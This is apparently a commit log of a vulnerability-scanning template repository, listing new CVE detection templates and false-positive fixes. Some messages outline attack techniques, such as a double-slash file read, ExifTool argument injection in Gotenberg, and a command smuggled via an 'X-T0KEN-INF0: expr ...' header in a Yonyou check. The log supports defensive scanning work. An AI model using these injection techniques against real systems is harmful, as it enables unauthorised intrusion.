ghost 439fe1b958 chore: generate new addition list 🤖 2026-10-05 14:36:38 +00:00
ghost 0257e24e0a chore: sign templates 🤖 2026-10-05 14:35:55 +00:00
Alex RyabovandAman Rawat 4c5095b2ee Add CVE-2026-86242 Bifrost SSRF template (#17359)
* Add bifrost-ssrf Nuclei detection template

* Update CVE-2026-86242.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
2026-10-05 20:05:33 +05:30
Eren-Akdag 67ad3e6c29 Add MITRE Caldera default login template 2026-10-05 12:23:16 +03:00
ghost 667127635e chore: generate templates stats 🤖 2026-10-05 07:29:23 +00:00
ghost f8b8b8dcd7 chore: generate templates checksum 🤖 2026-10-05 06:14:51 +00:00
ghost 19e71046a3 chore: generate new addition list 🤖 2026-10-05 06:13:28 +00:00
ghost 95a9daf446 chore: generate CVEs metadata 🤖 2026-10-05 06:13:03 +00:00
ghost 635fa653a5 chore: sign templates 🤖 2026-10-05 06:12:46 +00:00
AryuandRoberto Nunes e2d228eb91 Add CVE-2026-55552 - Yamcs <=5.11.12 - Arbitrary File Read (#17366)
* Add CVE-2026-55552 - Yamcs <=5.11.12 - Arbitrary File Read

Yamcs resolves a request path beginning with a double slash as an
absolute filesystem path, which discards the static web root and
returns the referenced host file without authentication.

Pairs the unauthenticated /api fingerprint with the file read so the
template does not fire on unrelated hosts that merely serve
passwd-shaped bytes as application/octet-stream, and sets
disable-path-automerge so the leading double slash survives targets
that carry a path.

* Refactor CVE-2026-55552.yaml for clarity and accuracy

Removed EPS score and percentile from CVE metadata. Updated HTTP request path and matchers for improved accuracy.

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-10-05 11:42:25 +05:30
ghost 80c2266b37 chore: generate templates checksum 🤖 2026-10-05 05:28:03 +00:00
ghost 95dd7bdd7a chore: generate CVEs metadata 🤖 2026-10-05 05:25:43 +00:00
ghost 1651a9545a chore: sign templates 🤖 2026-10-05 05:25:39 +00:00
Aman Rawat 64ae840b6e Merge pull request #17362 from cham423/cve-2021-37598-fp-fix
CVE-2021-37598: fix false positive on CDN-fronted sites and missed true positive
2026-10-05 10:55:18 +05:30
Aman Rawat 3fda69cb1f Merge branch 'main' into cve-2021-37598-fp-fix 2026-10-05 10:49:44 +05:30
ghost 88c1972d25 chore: generate templates checksum 🤖 2026-10-05 05:16:15 +00:00
github-actions[bot] 4c971f815e chore: add impact and remediation fields 🤖 2026-10-05 05:14:12 +00:00
ghost d0324c5005 chore: generate CVEs metadata 🤖 2026-10-05 05:13:47 +00:00
ghost f2e7ae3ade chore: sign templates 🤖 2026-10-05 05:13:45 +00:00
ghost 8ebf025a8e chore: generate new addition list 🤖 2026-10-05 05:13:39 +00:00
ghost d958377cef chore: generate new addition list 🤖 2026-10-05 05:13:27 +00:00
Aman Rawat 7aa34e4933 Merge pull request #17355 from Shaivarth/fix/cve-2025-12536-classification-id
fix(CVE-2025-12536): correct cve-id in classification
2026-10-05 10:43:21 +05:30
Aman Rawat 899dd213f6 Merge pull request #17353 from neoxua/fix-yonyou-nc-ncmessageservlet-expr-spacing
fix(yonyou-nc-ncmessageservlet-rce): fix expr spacing in X-T0KEN-INF0
2026-10-05 10:43:05 +05:30
Aman Rawat cf72c8241e Merge pull request #17052 from str4k3r/str4k3r/cve-2026-0692
Add CVE-2026-0692 template
2026-10-05 10:42:49 +05:30
Aman Rawat 385ddcaf64 Merge pull request #17371 from ashish-cybersec/Add-CVE-2026-29058
Add CVE-2026-29058 - WWBN AVideo Encoder unauthenticated OS command injection
2026-10-05 10:42:33 +05:30
ghost 8ad90da2c5 chore: generate templates checksum 🤖 2026-10-05 02:18:39 +00:00
ghost 53f40d2f7d chore: sign templates 🤖 2026-10-05 02:16:30 +00:00
ghost 4fc49f279c chore: update EPSS scores 🤖 2026-10-05 02:16:02 +00:00
Roberto Nunes 2a42bcfca5 Update CVE-2026-29058.yaml 2026-10-05 10:34:10 +09:00
Ashish Pulivarthy efd403c251 Add CVE-2026-29058 - WWBN AVideo Encoder unauthenticated OS command injection
CVE-2026-29058 details the unauthenticated OS command injection vulnerability in WWBN AVideo Encoder versions prior to 7.0, including its impact, remediation steps, and references.
2026-10-04 15:45:06 +05:30
ghost f1c5c9ccf5 chore: generate templates checksum 🤖 2026-10-04 04:05:33 +00:00
ghost ed4bab1c3f chore: generate new addition list 🤖 2026-10-04 04:03:32 +00:00
ghost 8ce1462dfe chore: sign templates 🤖 2026-10-04 04:02:52 +00:00
eead1f7d60 Add exposure templates for Terraform state, Terraform CLI credentials, and Serverless Framework config (#17016)
* Add exposure templates for Terraform state, Terraform CLI credentials, and Serverless Framework config

* Update serverless-framework-config-exposure.yaml

* Update serverless-framework-config-exposure.yaml

* Update terraformrc-credentials-exposure.yaml

* Update terraform-tfstate-exposure.yaml

---------

Co-authored-by: Chris (ChrisJr404) <[email protected]>
Co-authored-by: Ritik Chaddha <[email protected]>
2026-10-04 09:32:30 +05:30
Dhiyaneshwaran 985d6a2d94 Refine CVE-2021-37598 details and matchers
Updated the description for CVE-2021-37598 to clarify the exploit requirements and modified the max-request value. Added matchers for HTTP requests and refined existing matchers.
2026-10-04 09:19:21 +05:30
Dhiyaneshwaran 5836149358 Refine CVE-2026-10818 details and matchers
Updated the description and matchers in CVE-2026-10818.yaml for clarity and accuracy.
2026-10-04 09:15:33 +05:30
ghost d854aa0e9e chore: generate templates checksum 🤖 2026-10-04 02:41:13 +00:00
ghost 5f892be738 chore: sign templates 🤖 2026-10-04 02:38:20 +00:00
ghost 787dabae4a chore: update EPSS scores 🤖 2026-10-04 02:37:55 +00:00
ghost 9e93c63782 chore: generate templates checksum 🤖 2026-10-03 03:25:37 +00:00
ghost 11931a72fc chore: sign templates 🤖 2026-10-03 03:22:20 +00:00
ghost 8c922f26b5 chore: update KEV and vKEV tags and metadata 🤖 2026-10-03 03:21:55 +00:00
ghost 791888a161 chore: generate templates checksum 🤖 2026-10-03 02:08:37 +00:00
ghost 70566db742 chore: sign templates 🤖 2026-10-03 02:05:52 +00:00
ghost 90028e31f4 chore: update EPSS scores 🤖 2026-10-03 02:05:25 +00:00
ghost 756cad08f9 chore: generate new addition list 🤖 2026-10-02 23:33:49 +00:00
ghost a46f5677ea chore: generate CVEs metadata 🤖 2026-10-02 23:32:49 +00:00
Roberto Nunes 59c2d22c24 Merge pull request #17000 from Dishant4081/main
Add CVE-2026-26216 for remote code execution in Crawl4AI
2026-10-03 08:32:21 +09:00
rxerium 3c0a9d9a5a Add ai tag to Paperclip detection template 2026-10-02 20:11:33 +01:00
rxerium 226e616fcb Add ai tag to Hermes Agent panel template 2026-10-02 20:11:21 +01:00
rxerium 8081f399b2 Add Paperclip detection template 2026-10-02 20:01:20 +01:00
rxerium 95cda601d8 Add Hermes Agent login panel template 2026-10-02 19:59:16 +01:00
Akokonunes 10fe7610d6 Merge branch 'main' into main
Resolve conflict in http/cves/2026/CVE-2026-4257.yaml and correct the path of
the new Crawl4AI template.

The conflict was confined to bot-owned metadata: epss-score/epss-percentile and
the trailing "# digest:" line. The template-body fix this branch carried for
CVE-2026-4257 is already present in main, byte for byte, so main's version is
taken in full and nothing from this branch is lost.

The new template was committed to 'http:/cves/2026/CVE-2026-26216.yaml' - note
the colon after 'http'. That creates a stray top-level 'http:' directory and
makes the repository impossible to check out on Windows, where ':' is reserved.
Moved to http/cves/2026/CVE-2026-26216.yaml with its contents unchanged.
2026-10-02 21:39:34 +09:00
Ritik Chaddha 7261dd45c5 Update CVE-2026-26216.yaml 2026-10-02 13:52:36 +05:30
ghost b5aa0f999a chore: generate templates checksum 🤖 2026-10-02 03:16:35 +00:00
ghost 097cb567c2 chore: sign templates 🤖 2026-10-02 03:14:00 +00:00
ghost ee61f9f66f chore: update KEV and vKEV tags and metadata 🤖 2026-10-02 03:13:34 +00:00
ghost fb76120d99 chore: generate templates checksum 🤖 2026-10-02 02:14:03 +00:00
ghost 0185cacd4c chore: sign templates 🤖 2026-10-02 02:11:21 +00:00
ghost a781c2998b chore: update EPSS scores 🤖 2026-10-02 02:10:52 +00:00
ghost fe5c147bc1 chore: generate templates checksum 🤖 2026-10-02 01:56:21 +00:00
ghost 64a3dbcfbc chore: generate new addition list 🤖 2026-10-02 01:54:36 +00:00
ghost 0623233451 chore: generate CVEs metadata 🤖 2026-10-02 01:54:04 +00:00
Roberto Nunes 8de2698198 Merge pull request #17059 from str4k3r/str4k3r/cve-2026-49468
Add CVE-2026-49468 template
2026-10-02 10:53:41 +09:00
ghost a076da7619 chore: sign templates 🤖 2026-10-02 01:53:33 +00:00
Roberto Nunes f75f9333a5 Merge pull request #17357 from cham423/unauth-munin-fix
unauth-munin: fix title matcher that prevents the template from matching
2026-10-02 10:53:12 +09:00
Roberto Nunes 6693e14400 Merge pull request #17358 from projectdiscovery/fix-elfinder-version-info
fix(elfinder-version): correct info block to reflect version detection
2026-10-02 10:53:00 +09:00
cham423andClaude Opus 4.8 ce618badde CVE-2021-37598: fix matcher that inverts true/false positives
nuclei normalizes a bare trailing `?` away, so both requests in the old
template went out as `GET /wp-json` and were identical. As a result the
template missed the genuine bypass and fired only when a bot-management CDN
returned 403 to the first request and 200 to the second (clearance cookie
replayed) — a false positive unrelated to the plugin.

Rework as a single 3-request check: `/wp-json` must be blocked (403/404),
`/wp-json?x=1` must return the REST API index (200 + JSON), and `/wp-json`
must be blocked again. A query string carries the same trailing-`?`
condition the advisory describes while surviving nuclei's URL normalization,
and the repeated block confirms the access control is actually in force so a
cookie/cache 403->200 flip no longer matches.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-10-01 16:25:45 -07:00
alex700 4c1196da6f Add elementor-csrf Nuclei detection template 2026-10-01 14:41:12 -07:00
Dhiyaneshwaran 31245b0afa fix(elfinder-version): correct info block to reflect version detection
The template only extracts the elFinder version but carried the name,
critical severity, description, remediation and CVSS classification of
the 2.1.58 RCE template. Set it to a version-detect info block; matchers
and extractors unchanged.

Fixes #17349
2026-10-01 13:52:02 +05:30
ghost 8b9d065ccb chore: generate templates checksum 🤖 2026-10-01 03:21:13 +00:00
ghost 0a13f7c6aa chore: sign templates 🤖 2026-10-01 03:18:02 +00:00
ghost 4a5a7c6d31 chore: update KEV and vKEV tags and metadata 🤖 2026-10-01 03:17:36 +00:00
ghost 9311fc9806 chore: generate templates checksum 🤖 2026-10-01 02:19:11 +00:00
ghost 01dbee9cd7 chore: sign templates 🤖 2026-10-01 02:16:50 +00:00
ghost d26323c8be chore: update EPSS scores 🤖 2026-10-01 02:16:28 +00:00
cham423andClaude Opus 4.8 af89e32f61 xff-403-bypass: confirm the bypass with a third no-XFF request
status_code_1 == 403 && status_code_2 != 403 treated any non-403 response
to the X-Forwarded-For request as a bypass. Tightening to status_code_2 ==
200 drops the 429/3xx/404 challenge cases, but not a CDN that answers the
first request with 403 and a clearance cookie (reused on the next request),
or serves a cached 200 -- there status_code_2 is a genuine 200 that has
nothing to do with the header.

Add a third plain GET / with no X-Forwarded-For and require it to return 403
again, so the header is the only variable between the 200 and the re-403:
status_code_1 == 403 && status_code_2 == 200 && status_code_3 == 403.
This also makes the existing max-request: 3 accurate.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-09-30 18:20:25 -07:00
ghost 0d36b3df8e chore: generate templates checksum 🤖 2026-10-01 00:57:36 +00:00
ghost df987d050b chore: sign templates 🤖 2026-10-01 00:55:28 +00:00
Corey HamandClaude Opus 5.5 5f8cd35c23 outback-power-detect: require OutBack markers to fix FP on Meraki status pages (#17351)
bcb5e63014 collapsed the title and tab-id matchers into one word list
with condition: or, so any 200 page containing the generic 'status_tab'
id matched. Cisco Meraki device local status pages include
id="status_tab" with an empty <title> and were reported as OutBack
Mate3s. Require both tab ids plus an OutBack-specific marker (the
title or an outbackpower.com link) in a single dsl matcher, and
unwrap the description.

Co-authored-by: Claude Opus 5.5 <[email protected]>
2026-10-01 06:25:06 +05:30
Roberto Nunes c26d9ba0ac minor fix
Updated token values in matchers for Yonyou RCE vulnerability.
2026-10-01 09:47:34 +09:00
cham423andClaude Opus 5.5 596960078d unauth-munin: fix title matcher that prevents the template from matching
The DSL line `contains(tolower(body), "<title>Munin")` can never be true:
tolower() strips the capital M the needle relies on. Since 64568b24be
added `condition: and` to the matcher, that one dead line blocks the
whole matcher, so the template never fires.

Lowercasing the needle alone is not enough: Munin 2.0's generated
overview page puts the title text on its own indented line
("<title>\n    Munin\n  </title>"). Use the case-insensitive,
whitespace-tolerant regex idiom already used by sentry-panel.yaml.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-09-30 17:37:37 -07:00
ghost 580f488b25 chore: generate CVEs metadata 🤖 2026-10-01 00:37:22 +00:00
Roberto Nunes 528b26f8f0 Merge pull request #17345 from projectdiscovery/fix-false-positive
Enhance CVE-2025-55184 YAML configuration
2026-10-01 09:36:58 +09:00
Ritik Chaddha c679a0ad89 Update CVE-2026-0692.yaml 2026-09-30 22:33:49 +05:30
Ritik Chaddha 5a41cf63a9 Update CVE-2026-49468.yaml 2026-09-30 22:19:10 +05:30
shaivarth 4d6c2c9fba fix(CVE-2025-12536): correct cve-id classification 2026-09-30 21:06:11 +05:30
ghost cc3313f0ca chore: generate templates checksum 🤖 2026-09-30 10:07:42 +00:00
ghost d871a40507 chore: generate new addition list 🤖 2026-09-30 10:05:09 +00:00
ghost ee0f574d0c chore: sign templates 🤖 2026-09-30 10:04:23 +00:00
Roberto Nunes ec23e9ffdf Merge pull request #17339 from cham423/secomea-gatemanager-panel
Add Secomea GateManager panel detection template
2026-09-30 19:04:00 +09:00
Paul Werther 1fdfe0873a chore: update rabbitmq-dashboard.yaml with additional author and max-request changes 2026-09-30 11:39:52 +02:00
Aman Rawat 4866f29de2 Update CVE-2026-69137.yaml 2026-09-30 14:26:41 +05:30
Aman Rawat c872250634 Update secomea-gatemanager-panel.yaml 2026-09-30 13:19:30 +05:30
neoxua 5abcce64e8 fix(yonyou-nc-ncmessageservlet-rce): add spaces around + in X-T0KEN-INF0 expr
The header was written as X-T0KEN-INF0: expr 987843129+808922376. Without spaces, expr receives a single argument and only echoes the literal string instead of evaluating it, so the response header never contains 1796765505 (base64 MTc5Njc2NTUwNQ==) expected by the matcher of the second request, leading to a false negative. Adding spaces lets expr evaluate the arithmetic: expr 987843129 + 808922376.
2026-09-30 15:32:07 +08:00
ghost 49def99428 chore: generate templates checksum 🤖 2026-09-30 02:14:44 +00:00
ghost 60ffa8715d chore: sign templates 🤖 2026-09-30 02:12:03 +00:00
ghost 183b9cf200 chore: update EPSS scores 🤖 2026-09-30 02:11:35 +00:00
i-am-paradox 95aab122c4 Add CVE-2026-10818 - WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload 2026-09-30 07:31:14 +05:30
ghost 02b06eb813 chore: generate templates checksum 🤖 2026-09-29 15:14:51 +00:00
ghost 519396f33a chore: generate new addition list 🤖 2026-09-29 15:12:20 +00:00
ghost 9f4f84e849 chore: generate CVEs metadata 🤖 2026-09-29 15:11:41 +00:00
ghost 7867d6c693 chore: sign templates 🤖 2026-09-29 15:11:36 +00:00
Aman Rawat 78306df8dd Merge pull request #17333 from Aryu-RU/add-cve-2026-40281
Add CVE-2026-40281 - Gotenberg <= 8.30.1 - Remote Code Execution
2026-09-29 20:41:13 +05:30
Abdul Moiz f663a4f95a Create CVE-2026-63358.yaml
FileGator < 7.14.2 privilege escalation - passive version-based detection via the unauthenticated /getconfig endpoint.

Signed-off-by: Abdul Moiz <[email protected]>
2026-09-29 18:44:27 +05:00
Dhiyaneshwaran 37d737e4b5 Remove redirect settings from CVE-2025-55184.yaml
Removed host-redirects and max-redirects fields from CVE-2025-55184.yaml.
2026-09-29 13:38:01 +05:30
Dhiyaneshwaran 864a7b4020 Enhance CVE-2025-55184 YAML configuration
Updated CVE-2025-55184 details including classification, max-request limit, and matchers.
2026-09-29 13:37:17 +05:30
cham423 fab10e7905 keycloak-openid-config: require Keycloak-specific marker to fix FP on generic OIDC endpoints
The matcher required only standard OIDC discovery fields (issuer,
authorization_endpoint, token_endpoint, userinfo_endpoint, jwks_uri),
which every OpenID Connect provider returns. It therefore flagged any
/.well-known/openid-configuration endpoint (Okta, Auth0, Azure AD,
IdentityServer4, etc.) as Keycloak. Require the Keycloak-specific
'protocol/openid-connect' endpoint path so only Keycloak matches.
2026-09-28 20:54:08 -07:00
cham423andClaude Opus 4.8 a7ca5c918f Add Secomea GateManager panel detection template
Secomea GateManager is an OT/industrial remote-access server that brokers
LinkManager and SiteManager connections to plant equipment. No template
existed for it; default scans only report generic TLS/HTTP info on these
hosts. Detection uses two title- and locale-independent structural markers
(the Secomea vendor comment and the /lib/land_gm.png service-selector image)
plus a regex extractor for the product version.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-09-28 20:44:56 -07:00
ghost 28dde9ab04 chore: generate templates checksum 🤖 2026-09-29 03:16:32 +00:00
ghost 47beecd143 chore: sign templates 🤖 2026-09-29 03:13:42 +00:00
ghost 2aa7bee884 chore: update KEV and vKEV tags and metadata 🤖 2026-09-29 03:13:14 +00:00
ghost 1e207c70f0 chore: generate templates checksum 🤖 2026-09-29 02:12:41 +00:00
ghost f8caca084b chore: sign templates 🤖 2026-09-29 02:09:32 +00:00
ghost c85c6464de chore: update EPSS scores 🤖 2026-09-29 02:09:06 +00:00
Roberto Nunes 928cb454b5 Update ruoyi-detect.yaml 2026-09-29 09:14:08 +09:00
Roberto Nunes c0df6a653e Delete http/exposures/springboot-actuator-env.yaml 2026-09-29 09:09:14 +09:00
entrovyx ba996e1c1a Add SuiteCRM CVE-2026-69137 template 2026-09-28 13:15:09 -03:00
diedromeo b86711a689 fix(CVE-2024-12849): remove false-negative fingerprint check
The Error Log Viewer By WP Guru plugin does not enqueue any frontend
assets, so the homepage fingerprint step (`flow: http(1)`) never
matches and the exploit request is never sent. This causes
false-negatives on every target that has the vulnerable plugin
installed.

Remove the flow directive and the fingerprint step so the template
sends the exploit request directly. The response matchers
(content_type + root regex + status_code) are sufficient to avoid
false-positives.
2026-09-28 21:31:19 +05:30
Aryu-RU ebf0ee6df8 Add CVE-2026-40281 - Gotenberg <= 8.30.1 - Remote Code Execution
Gotenberg sanitizes only the keys of the JSON metadata sent to
/forms/pdfengines/metadata/write, so a newline inside a metadata value
reaches ExifTool's stdin and starts a new argument. The template injects
a -Title<${PDFVersion;...} advanced formatting expression and matches the
real command output returned inside the XMP packet of the response PDF.

Verified against vulhub/gotenberg:8.30.1 and gotenberg/gotenberg:8.30.0
(match) and gotenberg/gotenberg:8.31.0 (no match).
2026-09-28 13:54:29 +00:00
Calvin Tjoaquinn 29a357e6f0 fix: cve-id pointing at a different vulnerability in two templates
CVE-2025-12536.yaml carried cve-id CVE-2025-14437, which NVD lists as a
Hummingbird Performance issue rather than the SureForms one the template
detects.

CVE-2026-76904.yaml carried cve-id CVE-2023-25157 along with that advisory's
tags, upgrade guidance and references, while the detection it implements is the
GeoTools jsonArrayContains injection that NVD lists under CVE-2026-76904.

In both files the epss score already matched the CVE in the filename, so the
classification field was the outlier.
2026-09-28 20:21:21 +07:00
ghost 55e5d50562 chore: generate templates checksum 🤖 2026-09-28 10:14:36 +00:00
ghost 1065613be6 chore: generate new addition list 🤖 2026-09-28 10:12:38 +00:00
ghost f5cf2a8f94 chore: generate CVEs metadata 🤖 2026-09-28 10:12:03 +00:00
ghost 4c9771b0df chore: sign templates 🤖 2026-09-28 10:11:59 +00:00
Roberto Nunes 9ea2398d4f Merge pull request #16997 from ChrisJr404/add-donetick-detect
Add CVE-2025-68273 Signal K Server info disclosure detection
2026-09-28 19:11:36 +09:00
Ritik Chaddha a357e62fee Update CVE-2025-68273.yaml 2026-09-28 13:54:44 +05:30
ghost 0c098df349 chore: generate templates checksum 🤖 2026-09-28 08:17:07 +00:00
ghost d825836314 chore: generate new addition list 🤖 2026-09-28 08:15:02 +00:00
ghost 7809bd9c55 chore: generate CVEs metadata 🤖 2026-09-28 08:14:30 +00:00
ghost f7df91aff9 chore: sign templates 🤖 2026-09-28 08:14:24 +00:00
Ritik Chaddha 4eb3db8c02 Merge pull request #17287 from projectdiscovery/CVE-2026-89013
CVE-2026-89013 - Dolibarr - Unauthenticated Authorization Bypass via hashp Parameter
2026-09-28 13:43:59 +05:30
ghost ad23696395 chore: generate templates checksum 🤖 2026-09-28 07:57:55 +00:00
ghost 4fb7e0ef39 chore: sign templates 🤖 2026-09-28 07:56:55 +00:00
Ritik Chaddha a48539b2fb Merge pull request #17319 from BilalAtique/fix-adcs-certificate-false-positive
adcs-certificate: require a link to a certificate file (fixes #17314)
2026-09-28 13:26:35 +05:30
Ritik Chaddha ad64b56cca Merge branch 'main' into fix-adcs-certificate-false-positive 2026-09-28 13:26:25 +05:30
ghost f339bdc6b2 chore: generate new addition list 🤖 2026-09-28 07:55:20 +00:00
ghost 9613f0b5fb chore: sign templates 🤖 2026-09-28 07:55:16 +00:00
Ritik Chaddha 8357ce1567 Merge branch 'main' into fix-adcs-certificate-false-positive 2026-09-28 13:25:08 +05:30
Ritik Chaddha 676ae1f935 Merge branch 'main' into CVE-2026-89013 2026-09-28 13:25:06 +05:30
ghost 5ee273b2a1 chore: generate new addition list 🤖 2026-09-28 07:54:58 +00:00
ghost 80dfa5f0f2 chore: generate CVEs metadata 🤖 2026-09-28 07:54:44 +00:00
Ritik Chaddha 8dc0ae87ae Merge pull request #17283 from ashish-cybersec/add-CVE-2026-61560
Add CVE-2026-61560 - GitLab MCP Server Unauthenticated SSE Transport Access
2026-09-28 13:24:18 +05:30
Ritik Chaddha e404ff5367 Merge pull request #17309 from cham423/sciencelogic-sl1-panel
Add ScienceLogic SL1 (EM7) panel detection template
2026-09-28 13:23:55 +05:30
ghost f1729d760c chore: generate templates checksum 🤖 2026-09-28 07:50:57 +00:00
Ritik Chaddha 997c0ce611 Merge branch 'main' into add-CVE-2026-61560 2026-09-28 13:19:51 +05:30
Ritik Chaddha a1fb4101a2 Update CVE-2026-89013.yaml 2026-09-28 13:18:43 +05:30
ghost 61ed166926 chore: sign templates 🤖 2026-09-28 07:47:57 +00:00
Ritik Chaddha 5ab1bf9855 Merge pull request #16587 from projectdiscovery/fix/url-fragment-payload-encoding-8909
fix: encode payload-bearing # as %23 in query-string injections (#8909)
2026-09-28 13:17:34 +05:30
xiangdangloser 7d391f3fab Merge branch 'projectdiscovery:main' into main 2026-09-28 14:04:46 +08:00
xiangdangloser 6f942c7856 Add Spring Boot Actuator env exposure template
Local validation passed
2026-09-28 14:01:31 +08:00
ghost 5de891a02d chore: generate templates checksum 🤖 2026-09-28 06:01:24 +00:00
ghost 092e0ad934 chore: generate new addition list 🤖 2026-09-28 05:59:36 +00:00
ghost 5f8fc9081e chore: generate CVEs metadata 🤖 2026-09-28 05:58:53 +00:00
ghost c3c559e491 chore: sign templates 🤖 2026-09-28 05:58:50 +00:00
Aman Rawat 6e67db8f53 Merge pull request #17312 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-12227.yaml - Visual Composer <= 45.16.0 - Unauthenticated LFI
2026-09-28 11:28:28 +05:30
Aman Rawat d27051501a Merge pull request #17298 from diedromeo/fix/CVE-2021-34429-path-duplication
fix(CVE-2021-34429): replace unsafe with disable-path-automerge to fix path duplication
2026-09-28 11:28:12 +05:30
xiangdangloser f9d139f15e Add RuoYi Detect technology detection configuration 2026-09-28 13:19:29 +08:00
ghost 5baf6ae9e0 chore: generate templates checksum 🤖 2026-09-28 02:16:04 +00:00
ghost 89fa2e4a33 chore: sign templates 🤖 2026-09-28 02:13:17 +00:00
ghost 550e7e9af3 chore: update EPSS scores 🤖 2026-09-28 02:12:50 +00:00
Bilal Atique a57ec32690 adcs-certificate: require a link to a certificate file
The certenroll matcher passed on any 200 page whose body contained
".cer", ".crt", ".crl" or ".p7b" anywhere plus the word
"certenroll". A single-page app that echoes the requested path, and
has a token such as ".certified" in its markup, satisfies both.

Require an href to a file with one of those extensions instead.
IIS directory listings and nginx/Apache autoindex pages of CertEnroll
still match; the certsrv matcher is unchanged.

Fixes #17314
2026-09-27 14:54:47 +05:00
ghost dcaec604d8 chore: generate templates checksum 🤖 2026-09-27 02:11:57 +00:00
ghost 1e0b7315bb chore: sign templates 🤖 2026-09-27 02:09:04 +00:00
ghost 4548bdeb50 chore: update EPSS scores 🤖 2026-09-27 02:08:38 +00:00
ghost 3e0e38f50a chore: generate templates checksum 🤖 2026-09-26 03:15:35 +00:00
ghost 4c8ba51e95 chore: sign templates 🤖 2026-09-26 03:12:47 +00:00
ghost 714f03133f chore: update KEV and vKEV tags and metadata 🤖 2026-09-26 03:12:21 +00:00
ghost c73a08e873 chore: generate templates checksum 🤖 2026-09-26 02:07:59 +00:00
ghost 57edc1d27f chore: sign templates 🤖 2026-09-26 02:05:07 +00:00
ghost 24e7554b2f chore: update EPSS scores 🤖 2026-09-26 02:04:39 +00:00
ghost 8aae23af7e chore: generate templates checksum 🤖 2026-09-25 09:30:03 +00:00
ghost d61f36f4d8 chore: generate new addition list 🤖 2026-09-25 09:27:21 +00:00
ghost d9de083b08 chore: sign templates 🤖 2026-09-25 09:26:40 +00:00
a7358ac17a Add FoxS (Fox over TLS, 4911) detection to niagara-fox-info-enum (#17311)
* Add FoxS (Fox over TLS, 4911) detection to niagara-fox-info-enum

Add a tls:// tcp block on port 4911, require app.name alongside
fox.version so echo services no longer match, and set read-size so
stations that keep the socket open don't stall the request.

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>

* Update niagara-fox-info-enum.yaml

---------

Co-authored-by: Claude Opus 5.5 (1M context) <[email protected]>
Co-authored-by: Roberto Nunes <[email protected]>
2026-09-25 14:56:17 +05:30
ghost 0a9b7e0445 chore: generate templates checksum 🤖 2026-09-25 03:15:42 +00:00
ghost a98965a44f chore: sign templates 🤖 2026-09-25 03:12:54 +00:00
ghost 3cb8ddcf25 chore: update KEV and vKEV tags and metadata 🤖 2026-09-25 03:12:28 +00:00
ghost bcc565235d chore: generate templates checksum 🤖 2026-09-25 02:07:58 +00:00
ghost 8c39321953 chore: sign templates 🤖 2026-09-25 02:05:06 +00:00
ghost a390774996 chore: update EPSS scores 🤖 2026-09-25 02:04:40 +00:00
Roberto Nunes 0dba3a9646 Create CVE-2026-12227.yaml 2026-09-25 11:01:53 +09:00
Ashish Pulivarthy 84ce600a96 Merge branch 'main' into add-CVE-2026-61560 2026-09-24 15:30:57 +04:00
ghost 0409ed000a chore: generate templates checksum 🤖 2026-09-24 08:26:11 +00:00
ghost b667f90a29 chore: generate new addition list 🤖 2026-09-24 08:24:33 +00:00
ghost 6257f34ceb chore: generate CVEs metadata 🤖 2026-09-24 08:24:20 +00:00
ghost c5be7cd292 chore: sign templates 🤖 2026-09-24 08:24:13 +00:00
ghost 8bc837cb3f chore: generate new addition list 🤖 2026-09-24 08:23:57 +00:00
Roberto Nunes 8a5a5a76bb Merge pull request #16895 from Pauullamm/CVE-2025-11452
Add CVE-2025-11452.yaml file
2026-09-24 17:23:52 +09:00
Roberto Nunes be5f35fcc1 Merge pull request #16947 from Popy21/template/cve-2024-57728
CVE-2024-57728
2026-09-24 17:23:32 +09:00
ghost 06c9b3da07 chore: generate CVEs metadata 🤖 2026-09-24 08:23:19 +00:00
ghost ed97a029bd chore: sign templates 🤖 2026-09-24 08:23:14 +00:00
Roberto Nunes b64beca850 Merge pull request #17280 from str4k3r/str4k3r/cve-2026-25703
Add CVE-2026-25703 template
2026-09-24 17:22:52 +09:00
Dhiyaneshwaran c24b031b03 Merge branch 'main' into fix/CVE-2021-34429-path-duplication 2026-09-24 13:43:26 +05:30
Dhiyaneshwaran e11d71be82 Refactor ScienceLogic SL1 panel configuration 2026-09-24 12:47:30 +05:30
Aman Rawat b5fa9b3001 Update CVE-2026-25703.yaml 2026-09-24 12:35:39 +05:30
ghost 391230a54e chore: generate templates checksum 🤖 2026-09-24 06:47:43 +00:00
ghost 743bc0e7ae chore: generate new addition list 🤖 2026-09-24 06:45:38 +00:00
ghost 07fe894857 chore: generate CVEs metadata 🤖 2026-09-24 06:45:04 +00:00
ghost 961faa805c chore: sign templates 🤖 2026-09-24 06:44:57 +00:00
Aman Rawat dc695e5df0 Merge pull request #17171 from Tito0015/feature/cve-2025-62593
Add template for CVE-2025-62593 (Ray RCE)
2026-09-24 12:14:35 +05:30
Aman Rawat 3a5865c2f0 Merge pull request #17259 from jakxx/react_fp
Update CVE-2021-44528.yaml
2026-09-24 12:14:25 +05:30
Aman Rawat 8a6dc35ca5 Merge branch 'main' into react_fp 2026-09-24 12:10:17 +05:30
Dhiyaneshwaran a0969014af Update CVE-2021-44528.yaml 2026-09-24 12:07:48 +05:30
ghost a74c010fba chore: generate templates checksum 🤖 2026-09-24 06:36:41 +00:00
ghost eee03ec3da chore: generate new addition list 🤖 2026-09-24 06:34:31 +00:00
ghost 944df7eaf3 chore: generate CVEs metadata 🤖 2026-09-24 06:33:48 +00:00
ghost 9b1b060a08 chore: sign templates 🤖 2026-09-24 06:33:43 +00:00
Aman Rawat 5594342b12 Merge pull request #17304 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-56681.yaml - 9router <=0.5.4 - Authentication Bypass
2026-09-24 12:03:23 +05:30
ghost 9558b30eba chore: generate templates checksum 🤖 2026-09-24 06:30:40 +00:00
ghost 5d6844e39b chore: generate new addition list 🤖 2026-09-24 06:28:20 +00:00
ghost d28eebdcb6 chore: sign templates 🤖 2026-09-24 06:28:05 +00:00
Aman Rawat e58b5882fb Merge pull request #17294 from Shaivarth/fix/sap-readconfigfile-disclosure-false-positive
fix: prevent false positive in sap-readconfigfile-disclosure
2026-09-24 11:57:46 +05:30
ghost 5a0855ef1b chore: sign templates 🤖 2026-09-24 06:27:43 +00:00
